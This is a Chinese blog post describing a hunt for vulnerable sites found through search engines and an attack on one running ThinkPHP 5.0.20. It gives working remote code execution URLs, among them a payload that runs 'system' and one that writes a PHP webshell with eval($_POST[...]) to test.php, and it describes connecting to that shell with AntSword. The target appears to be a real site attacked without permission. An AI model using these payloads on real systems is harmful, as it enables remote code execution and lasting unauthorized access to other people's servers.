上级要求每天找三个漏洞,本人太菜,只能看漏洞库,各种百度找站来搞。本来想找SQL注入的站,于是fofa找header="admin.php",奈何找不到,倒是看到很多站显示Copyright H-UI ADMIN啥的,于是在百度上试试搜索Copyright H-UI ADMIN,无意间发现一个这样的站:

thinkPHP5.0.20的漏洞复现_html

 

 

发现不存在注入,问了大佬,大佬试了下,说是thinkPHP框架,于是百度thinkPHP相关漏洞,找到一些验证的POC,尝试:

/index.php/index/index/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

thinkPHP5.0.20的漏洞复现_php_02

 

 

 

是thinkPHP5.0.20:

thinkPHP5.0.20的漏洞复现_.net_03

 

 

 

大佬说这个版本的可以getshell,让我们尝试getshell,但需要绕过限制啥的。但是我太菜了,只有百度各种thinkPHP5.0.20的getshell,找到一个:

/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test.php&vars[1][]=<?php highlight_file(__FILE__);@eval($_POST[sss]);?>

直接添加到网站后访问:

返回了个数字:

thinkPHP5.0.20的漏洞复现_php_04

 

 

 

 

 

 

 

 

 

 

然后以为是错的,然后没再继续了。。。。。

后面请教了同事,同事说,是访问写入的文件:/test.php

于是再次尝试访问,可能是网络原因,或者IP被封了,并没有访问到,用蚁剑也连接不上:

thinkPHP5.0.20的漏洞复现_百度_05

 

 

 

thinkPHP5.0.20的漏洞复现_系统命令_06

 

 

 thinkPHP5.0.20的漏洞复现_php_07

 

 

 

 

 

以为写入失败了,请教了大佬,大佬说,看PHP执行系统命令的函数有哪些,于是又各种百度,无果。。。。

PHP命令执行函数参考链接:

 

 

由于急于交漏洞,想着能证明phpinfo的应该也行:

/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test3.php&vars[1][]=<?php phpinfo();?>

thinkPHP5.0.20的漏洞复现_百度_08

 

 

 

就准备查询域名的相关厂商信息,然后提交漏洞,然而搜不到厂商信息,于是只好去找其他的站了。。。。

不过,第二天再次去尝试用蚁剑连接时,结果成功了:

thinkPHP5.0.20的漏洞复现_.net_09

 

 

thinkPHP5.0.20的漏洞复现_百度_10

 

第二天连的时候,有使用代理,所以猜测是网络问题。